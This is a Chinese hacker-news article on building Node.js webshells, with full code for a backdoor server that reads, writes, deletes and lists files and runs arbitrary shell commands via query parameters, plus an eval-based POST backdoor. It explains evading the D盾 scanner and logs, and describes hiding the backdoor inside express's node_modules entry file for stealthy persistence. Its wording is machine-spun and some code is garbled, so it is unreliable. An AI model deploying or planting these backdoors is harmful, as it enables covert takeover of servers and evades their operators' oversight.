BurpSuite专用工具来开展检测Post要求实例

BurpSuite专用工具来开展检测Post要求实例

黑客资讯hacker2020-08-28 8:08:106620A+A-

0x00 序言

“webshell” 这一关键词在白与黑的专业术语中经常会出现,它具备实际操作总体目标web网站的文件权限,而webshell在web杀毒中是敏感的,管理人员能够根据web系统日志开展追溯,进而杀毒webshell。在web杀毒软件中,webshell脚本制作不足健硕会立即被BAN掉。

“怎样绕开XX狗”,“怎样才可以更为隐敝”,“webshell总流量数据加密”等难题也在安全圈中也是老调重弹的难题。而一句话木马渐渐地兴起,它十分简洁明了,只必须中国菜刀等管理方法webshell的专用工具开展相互配合就可以管理方法网络服务器文档。

那麼这篇文章内容给大伙儿详细介绍一种新的web应用侧门,它是“nodeJS”,大家从简易掌握nodeJs到nodeJs版中国菜刀脚本编写。

0x01 nodeJS的简易简述

NodeJS是一种后端语言,由C 撰写而成,它的句法结构遵照了前端开发JavaScript英语的语法。

nodeJs不用web容器,nodeJs自身便是web容器。

大家看下面事例:

很有可能这张图片了解起來并不是太清晰,那麼大家简易撰写一段解决GET要求的编码。

大家应用最爱的BurpSuite专用工具来开展检测

Post要求实例:

能够简易的掌握到,nodeJS沒有web容器。大家从不久的编码中所掌握到,nodeJS的一系列实际操作全是应用require()来开展引包,接着在引导的資源上开展实际操作。另外nodeJS是沒有像PHP/ASP語言中的 <?php/<% 文件头的,上去立即撰写nodeJS句子就可以。

0x02 nodeJS侧门掌握

由于沒有語言标志符(PHP中的<?php),因此 它难以被传统式的WEB杀毒专用工具所扫描仪到,小编应用”D盾”来开展检测小编撰写的nodeJS小龙。

这一小龙怎么使用,小编也不共享了,它运用起來不方便先不用说,次之下边有一种姿态来替代它。

小龙脚本制作:

let http = require('http');

let url = require('url');

let fs = require('fs');

let cmd = require('child_process');

let moduleName = ['readfile','writefile','cmd','readdir','unlink'];

let server = http.createServer((request, response)=>{

    let urlObj = url.parse(request.url,true).query;

    if(!urlObj.type || !moduleName.includes(urlObj.type)){

        response.writeHead(404, {'Content-Type':'text/html;'});

    }else{

        response.writeHead(200, {'Content-Type':'text/css;'});

    }

    var result = '';

    if(!urlObj.path){

        urlObj.path = './';

    }

    switch(urlObj.type){

        case 'readfile':

            try {

                result = fs.readFileSync(urlObj.path).toString();

            }catch(e){

     &nbs p;          result = '请查验path主要参数,文档载入不成功!';

            }

            break;

        case 'unlink':

            try {

                fs.unlinkSync(urlObj.path);

                result = '文件删除取得成功';

            }catch(e){

                result = 'unlink控制模块必须path主要参数,文件删除不成功';

            }

            break;

        case 'writefile':

            if(urlObj.value){

                try {

                    fs.writeFileSync(urlObj.path, urlObj.value);

                    result = '文档载入取得成功~';

                }catch(e){

                    result = '文档载入不成功';

                 }

            }else{

                result = 'writefile控制模块必须传送path(载入途径)与value(载入內容)主要参数~';

            }

            break;

        case 'readdir':

            try{

                let fileArr = fs.readdirSync(urlObj.path);

                let tmpStr = '';

               &n bsp;let Dirs = [];

                let Files = [];

                for(let i in fileArr){

                    try{

                        flag = fs.lstatSync(urlObj.path '\\' fileArr[i]).isFile();

                        if(flag){

                            Files.push(fileArr[i]);

                        }else{

                            Dirs.push(fileArr [i]);

                        }

                    }catch(e){}

                }

                tmpStr = `\r\n\r\n\r\n-----------↓↓↓文件目录↓↓↓-----------\r\n`;

                for(let i in Dirs){

                    tmpStr = Dirs[i] "\r\n";

                }

                tmpStr = `\r\n\r\n\r\n-----------↓↓↓文档↓↓↓-----------\r\n`;

                for(let i in Files){

                    tmpStr = Files[i] "\r\n";

                }

                result = `当今程序执行的途径${process.cwd()}\r\n编码储放的部位${__dirname}\r\nnodeJs文件途径${process.execPath}\r\n${tmpStr}`;

            }catch(e){

                result = '载入文件目录不成功';

            }

            break;

        case 'cmd':

            if(urlObj.cmd){

                try{

                    result = cmd.execSync(urlObj.cmd);

                }catch(e){

                    result = 'cmd指令不正确';

                }

            }else{

                result = 'cmd控制模块必须传送cmd主要参数~';

            }

            break;

    }

    response.write(result);

    response.end();

});

server.listen(5555);

这儿小编强烈推荐应用nodeJsWebshell。

第一点:由于沒有語言标志符,D盾没办法鉴别出该文件是侧门。

第二点:在运维管理人员中,掌握nodeJS的也不是过多。可是放到前端开发工作人员的身上,nodeJS是学习培训线路中必会的。但前端开发管理方法范畴大家都懂。

第三点:因为nodeJS服务项目原本就归属于安全性的WEB服务项目,这一点杀毒软件会宽容nodeJS。

第四点:由于nodeJS自身便是自身的WEB器皿,因此 nodeJS并沒有积极地去出示nodeJS WEB浏览系统日志。(但nodeJS系统日志是能够根据编码层来完成)

缺陷便是它只合适开展中后期的管理权限保持,如刚刚小编务必运作node XXXX.js才能够打开nodeJS服务项目。

根据这一系列要素,小编拥有一种打造出nodeJS中国菜刀的想法。

0x03 撰写水果刀构思

nodeJs承传了JavaScript的英语的语法,打开了后端语言,我们知道前台接待的JavaScript中,eval()涵数是用于实行编码的,说到这儿大家会想起PHP中的eval也会被网络黑客作为侧门来应用,那麼nodeJs存有eval,为何没人去造一款管理方法nodeJs侧门的水果刀呢?即然在网上沒有第一个实例,那小编就来造出第一个实例吧。下面是小编对水果刀的了解思维图:

那麼传统式的一句话木马如PHP一句话木马一样,只必须简易的一句话就可以 eval($_POST[x]);,可是nodeJS却没法那么简洁明了,因为它分析GET/POST要求就必须一堆编码。

在撰写nodeJs水果刀以前小编有一种猜测,是否nodeJS的eval涵数中没法引进包?也就是require涵数的实行。

那麼小编开展检测:

能够诧异的见到fs包被取得成功引进进来了,那麼撰写中国菜刀的理想化也就又近了一步。

0x04 水果刀撰写

小编在这儿写了一段解决POST要求的编码,而且进到eval涵数,来做到销售市场上一切正常的一句话的实际效果。编码以下:

这儿nodeJS怪异就怪异在解决POST要求应用了nodeJS自身封裝的addListener恶性事件方式 ,图中的一系列编码便是在表明 eval($_POST[‘heihu’]),那样的“一句话”还简直“一句话”...

下边应用BurpSuite来测试一下console.log看是不是能够取得成功程序运行。

能够见到console.log()取得成功强制执行。

NodeJS一句话脚本制作:

var http = require('http');

var querystring = require('querystring');

var server = http.createServer(function(request, response){

    response.writeHead(200, {'Content-Type':'text/html;charset=utf8'});

    if(request.method.toLocaleLowerCase() == 'post'){

        var string = '';

      ;   request.addListener('data', function(chunk){

            string = chunk;

        });

        request.addListener('end', function(){

            var strObj = querystring.parse(string);

            if(strObj.heihu){

                try {

                    eval(strObj.heihu);

                    response.end('Eval Ok');

        ;         }catch(e){

                    console.log(e);

                    response.end('Eval Error');

                }

            }else{

                response.end('Pass Error');

            }

        });

    }else{

        response.end();

    }

});

server.listen(5555);

那麼小编应用“e语言”来进行这一中国菜刀的好项目吧~(对,你没看错,便是e语言)

最先页面非常简单,也就是一个登陆对话框。

点击“朝着管理权限攻击~”按键后

推送POST要求,內容是response.end(‘shellOk’);,假如网页页面真实回到shellOk后,则意味着shell能够取得成功连接,不然则连接不成功。当连接取得成功时,则进到对话框一,对话框一的页面是那样的:

当加载该对话框则推送一条文件目录文档解析xml的编码至服务器端。

彻底仿真模拟了大家BurpSuite时的实际操作。专用工具仅仅将一些句子所有封裝起來,随后推送。

下面小编就已不剖析源代码中每一行的实际意义了,小编会将源代码共享资源到这儿,大伙儿能够去能够打造出一个归属于自身的nodeJS侧门可视化工具。

专用工具应用实例:

百度搜索百度云下载源代码:https://pan.baidu.com/s/2GBU3FKzP-Gx-gW_ldktdzSg 提取码:6666

0x05 nodeJS侧门的隐敝方法

大家自然不愿独立的去建立一个JS文档,随后去置放侧门,那样被杀毒的几率也是有的,但小编这儿想起了一种nodeJS侧门的隐敝方法。

Express为nodeJS中运用最普遍的架构,它很容易就可以去解决nodeJS路由器。

大家首先看一个express的简易实例:

在应用express架构中,迫不得已require(‘express’);后再开展实际操作,在nodeJS中,被require进去的包,尽管只能够接受到exports所曝露出去的自变量,可是每列NodeJs句子也会强制执行,大家精准定位到express中关键加载的文档。

在./node_modules/express/index.js文件中我们可以见到一切正常的解决逻辑性:

大家在这其中插进大家的侧门脚本制作编码:

这儿必须留意的是,这儿的listen不必与express架构中的端口号相同,不然可能导致端口号矛盾。

置放侧门后全部架构打开了2个端口号,分别是5555端口号及其6666端口号,这两个端口号5555端口号为express架构的一切正常服务项目,而6666端口号是大家的侧门端口号。如图所示:

文中创作者:Heihu577

点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理